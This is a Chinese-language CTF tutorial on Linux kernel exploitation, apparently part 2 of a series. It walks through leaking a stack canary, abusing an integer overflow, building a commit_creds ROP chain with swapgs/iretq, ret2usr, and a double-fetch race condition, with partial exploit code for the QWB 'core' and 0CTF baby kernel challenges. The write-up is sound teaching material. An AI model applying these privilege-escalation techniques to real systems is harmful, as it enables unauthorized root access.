Linux Kernel Pwn技巧总结_2
字数 1490 2025-08-05 19:10:07

Linux Kernel Pwn技巧总结 - ROP构造与Double Fetch利用

前言

本文是Linux Kernel Pwn技巧的第二部分,主要讨论ROP构造以及Double Fetch的利用方法。这些技巧在内核漏洞利用中至关重要,特别是当需要绕过现代内核保护机制时。

环境准备

题目分析

题目提供了三个文件:

  • bzImage:压缩的内核镜像
  • core.cpio:文件系统镜像
  • start.sh:启动脚本

启动脚本内容:

qemu-system-x86_64 \
-m 128M \
-kernel ./bzImage \
-initrd ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
-s \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \

关键点:

  • 开启了KASLR保护(内核地址空间布局随机化)
  • 使用-s参数开启gdb调试端口

文件系统分析

init文件中的重要部分:

cat /proc/kallsyms > /tmp/kallsyms  # 将内核符号表导出到/tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict  # 限制内核地址信息
echo 1 > /proc/sys/kernel/dmesg_restrict  # 限制dmesg输出
poweroff -d 120 -f &  # 120秒后关机(调试时可删除)

驱动分析

驱动文件core.ko的checksec结果:

Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x0)

漏洞分析

驱动功能

驱动提供了三个主要功能:

  1. core_ioctl:
__int64 __fastcall core_ioctl(__int64 a1, int a2, __int64 a3) {
    switch (a2) {
        case 1719109787: core_read(a3); break;
        case 1719109788: off = a3; break;  // 设置off值
        case 1719109786: core_copy_func(a3); break;
    }
    return 0LL;
}
  1. core_write:
signed __int64 __fastcall core_write(__int64 a1, __int64 a2, unsigned __int64 a3) {
    if (a3 <= 0x800 && !copy_from_user(&name, a2, a3))
        return (unsigned int)a3;
    return 4294967282LL;
}
  1. core_read:
unsigned __int64 __fastcall core_read(__int64 a1) {
    // ...初始化栈变量...
    strcpy((char *)&v5, "Welcome to the QWB CTF challenge.\n");
    result = copy_to_user(a1, (char *)&v5 + off, 64LL);  // 信息泄漏点
    // ...
}
  1. core_copy_func:
signed __int64 __fastcall core_copy_func(signed __int64 a1) {
    if (a1 > 63) {
        printk(&unk_2A1);
        result = 0xFFFFFFFFLL;
    } else {
        result = 0LL;
        qmemcpy(&v2, &name, (unsigned __int16)a1);  // 整数溢出漏洞点
    }
    return result;
}

漏洞点

  1. 信息泄漏

    • 通过core_read函数,可以泄漏栈上的数据
    • 通过设置off值,可以泄漏canary
  2. 整数溢出

    • core_copy_func中参数a1是有符号64位整数
    • qmemcpy中a1被转换为无符号16位整数
    • 可以设置a1=0xffffffffffff0200绕过检查(>63检查失败),但在qmemcpy中实际使用0x0200

利用方法

1. ROP利用

利用步骤:

  1. 设置off值(如0x40)
  2. 调用core_read泄漏canary
  3. 调用core_write构造ROP链到name字段
  4. 调用core_copy_func触发溢出,劫持控制流

ROP链构造:

目标是执行commit_creds(prepare_kernel_cred(0))提权。

由于KASLR开启,需要计算偏移:

  • 从/tmp/kallsyms获取prepare_kernel_cred和commit_creds地址
  • 计算偏移:offset = qemu中的地址 - vmlinux中的地址

ROP链示例:

unsigned long int rop_content[] = {
    0x9090909090909090,  // padding
    // ...更多padding...
    canary_,             // 泄漏的canary值
    0x9090909090909090, // padding
    pop_rdi_ret + offset,  // pop rdi; ret
    0x0,                // 参数0
    pkd_addr,           // prepare_kernel_cred地址
    pop_rdx_ret + offset,  // pop rdx; ret
    cc_addr,            // commit_creds地址
    mov_rdi_rax_jmp_rdx + offset,  // mov rdi,rax; jmp rdx
    swapgs_popfq_ret + offset,     // swapgs; popfq; ret
    0,                 // popfq的参数
    iretq_ret + offset, // iretq; ret
    (unsigned long)getshell,  // 返回用户态后执行的函数
    user_cs,           // 保存的用户态cs
    user_flag,         // 保存的flag寄存器
    user_rsp,          // 保存的用户态栈指针
    user_ss            // 保存的用户态ss
};

关键点:

  • 需要保存和恢复用户态寄存器
  • 使用swapgs指令切换GS寄存器
  • 使用iretq指令返回用户态

2. Ret2usr

与ROP类似,但将提权过程直接写成用户态函数:

void getroot() {
    char* (*pkc)(int) = prepare_kernel_cred;
    void (*cc)(char*) = commit_cred;
    (*cc)((*pkc)(0));
}

ROP链简化为:

unsigned long rop[20] = {
    // ...padding和canary...
    getroot,           // 直接调用用户态函数
    swapgs_popfq_ret + offset,
    0,
    iretq_ret + offset,
    getshell,
    user_cs,
    user_flag,
    user_rsp,
    user_ss
};

原理:内核可以访问用户空间,以ring 0特权执行用户空间代码。

3. Double Fetch利用

以2018 0CTF Finals baby kernel为例:

漏洞分析

关键函数baby_ioctl:

signed __int64 __fastcall baby_ioctl(__int64 a1, __int64 a2) {
    if ((_DWORD)a2 == 26214) {
        printk("Your flag is at %px! But I don't think you know it's content\n", flag);
    } 
    else if ((_DWORD)a2 == 4919 && 
            !_chk_range_not_ok(v2, 16LL, 0x7ffffffff000) &&  // 检查用户空间指针
            !_chk_range_not_ok(*(_QWORD *)v5, *(signed int *)(v5 + 8), 0x7ffffffff000) &&
            *(_DWORD *)(v5 + 8) == strlen(flag)) {
        // 逐字节比较flag
        for (i = 0; i < strlen(flag); ++i) {
            if (*(_BYTE *)(*(_QWORD *)v5 + i) != flag[i])
                return 22LL;
        }
        printk("Looks like the flag is not a secret anymore. So here is it %s\n", flag);
    }
}

利用方法

  1. 结构体构造
struct Flag {
    char *flag_str;
    unsigned long flag_len;
};
  1. 条件竞争

    • 主线程:调用ioctl进行验证
    • 子线程:在验证通过后,将flag_str修改为内核flag地址
    • 利用时间差绕过检查
  2. EXP关键部分

void *thread_run(void *tt) {
    struct Flag *flag = tt;
    while(!finish) {
        flag->flag_str = flag_addr;  // 不断修改为内核flag地址
    }
}

int main() {
    // ...初始化...
    ioctl(fd, 0x6666);  // 获取flag地址
    system("dmesg | grep \"Your flag is at \"");
    
    pthread_t t1;
    pthread_create(&t1, NULL, thread_run, flag);
    
    for(int i=0; i<0x1000; i++) {
        int ret = ioctl(fd, 4919, flag);
        if(ret == 0) break;  // 成功
        flag->flag_str = s;  // 重置为用户空间地址
    }
    // ...
}

替代方法:侧信道攻击

  • 将字符放在page末尾
  • 当访问下一个字符时会触发page fault
  • 通过crash信息逐位推断flag

总结

  1. ROP构造

    • 泄漏canary绕过栈保护
    • 计算KASLR偏移
    • 构造提权ROP链
    • 正确返回用户态
  2. Ret2usr

    • 利用内核可以访问用户空间的特性
    • 将提权代码放在用户空间
    • 减少ROP链复杂度
  3. Double Fetch

    • 利用内核与用户空间的数据竞争
    • 通过多线程修改关键数据
    • 绕过内核的检查机制

关键区别:

  • 用户态Pwn:目标是获取shell
  • 内核态Pwn:目标是提权(root权限)

参考链接

  1. 0CTF final baby kernel - Veritas501's blog
  2. Double Fetch - CTF Wiki
  3. Linux多线程编程
Linux Kernel Pwn技巧总结 - ROP构造与Double Fetch利用 前言 本文是Linux Kernel Pwn技巧的第二部分,主要讨论ROP构造以及Double Fetch的利用方法。这些技巧在内核漏洞利用中至关重要,特别是当需要绕过现代内核保护机制时。 环境准备 题目分析 题目提供了三个文件: bzImage:压缩的内核镜像 core.cpio:文件系统镜像 start.sh:启动脚本 启动脚本内容: 关键点: 开启了KASLR保护(内核地址空间布局随机化) 使用-s参数开启gdb调试端口 文件系统分析 init文件中的重要部分: 驱动分析 驱动文件core.ko的checksec结果: 漏洞分析 驱动功能 驱动提供了三个主要功能: core_ ioctl : core_ write : core_ read : core_ copy_ func : 漏洞点 信息泄漏 : 通过core_ read函数,可以泄漏栈上的数据 通过设置off值,可以泄漏canary 整数溢出 : core_ copy_ func中参数a1是有符号64位整数 qmemcpy中a1被转换为无符号16位整数 可以设置a1=0xffffffffffff0200绕过检查(>63检查失败),但在qmemcpy中实际使用0x0200 利用方法 1. ROP利用 利用步骤: 设置off值(如0x40) 调用core_ read泄漏canary 调用core_ write构造ROP链到name字段 调用core_ copy_ func触发溢出,劫持控制流 ROP链构造: 目标是执行 commit_creds(prepare_kernel_cred(0)) 提权。 由于KASLR开启,需要计算偏移: 从/tmp/kallsyms获取prepare_ kernel_ cred和commit_ creds地址 计算偏移:offset = qemu中的地址 - vmlinux中的地址 ROP链示例: 关键点: 需要保存和恢复用户态寄存器 使用swapgs指令切换GS寄存器 使用iretq指令返回用户态 2. Ret2usr 与ROP类似,但将提权过程直接写成用户态函数: ROP链简化为: 原理 :内核可以访问用户空间,以ring 0特权执行用户空间代码。 3. Double Fetch利用 以2018 0CTF Finals baby kernel为例: 漏洞分析 关键函数 baby_ioctl : 利用方法 结构体构造 : 条件竞争 : 主线程:调用ioctl进行验证 子线程:在验证通过后,将flag_ str修改为内核flag地址 利用时间差绕过检查 EXP关键部分 : 替代方法:侧信道攻击 将字符放在page末尾 当访问下一个字符时会触发page fault 通过crash信息逐位推断flag 总结 ROP构造 : 泄漏canary绕过栈保护 计算KASLR偏移 构造提权ROP链 正确返回用户态 Ret2usr : 利用内核可以访问用户空间的特性 将提权代码放在用户空间 减少ROP链复杂度 Double Fetch : 利用内核与用户空间的数据竞争 通过多线程修改关键数据 绕过内核的检查机制 关键区别: 用户态Pwn:目标是获取shell 内核态Pwn:目标是提权(root权限) 参考链接 0CTF final baby kernel - Veritas501's blog Double Fetch - CTF Wiki Linux多线程编程